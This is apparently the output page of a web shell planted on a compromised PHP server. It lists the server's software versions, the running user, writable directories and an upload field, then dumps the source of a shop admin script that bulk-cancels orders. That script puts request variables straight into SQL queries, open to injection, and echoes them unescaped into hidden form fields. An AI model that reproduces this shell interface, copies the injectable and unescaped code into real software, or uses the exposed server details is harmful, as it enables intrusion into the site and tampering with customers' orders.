KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /proc/21573/root/home/queenjbs/junsu/admin/Proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/21573/root/home/queenjbs/junsu/admin/Proc/store_flagAll_cancel.php
<?include $_SERVER['DOCUMENT_ROOT']."/conf/conf_dir.php";?>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<?
if($orderstep == 1){

	if($goodsproduct) $where ="and goodsuid ='$goodsproduct'";//상품 하나일때
	if($key == "d_bank") $where .=" and d_bank <='$key_word' ";
	if($deli){
		$where .=" and tack_after ='$deli' ";
	}

	//$where .=" and d_regis >='20160201' and d_regis <='20160214' ";

	$QUERY_PAGE  = "SELECT uid FROM shop_order WHERE orderstep ='$orderstep' $where ORDER BY d_bank asc";

	$result= mysql_query($QUERY_PAGE,$db_con);

	//취소할때
	$flagUp = $orderstep+5;

	$i=0;
	while($row = mysql_fetch_array($result)){
		//$where = " ,d_tack='$date[totime]'";
		//echo $i++;
		//echo "<br/>";
		$query1 = "update shop_order set orderstep ='$flagUp' where orderstep ='$orderstep' and uid='$row[uid]'";
		$results1 = mysql_query($query1, $db_con);
		//echo "<br/>";
		$query2 = "update shop_ordergoods set orderstep ='$flagUp' where orderstep ='$orderstep' and parent='$row[uid]'";
		$results2 = mysql_query($query2, $db_con);

	}
	//exit;
}else{
echo "완료하지 못하였습니다.";
}
?>
<form name="F_bbs" method="post" action="../store_orderlist.php">
<input type="hidden" name="page" value="<?=$page?>">
<input type="hidden" name="act" value="<?=$act?>">
<input type="hidden" name="orderstep" value="<?=$orderstep?>">
<input type="hidden" name="key" value="<?=$key?>">
<input type="hidden" name="key_word" value="<?=$key_word?>">
</form>
<script>document.F_bbs.submit()</script>

Anon7 - 2021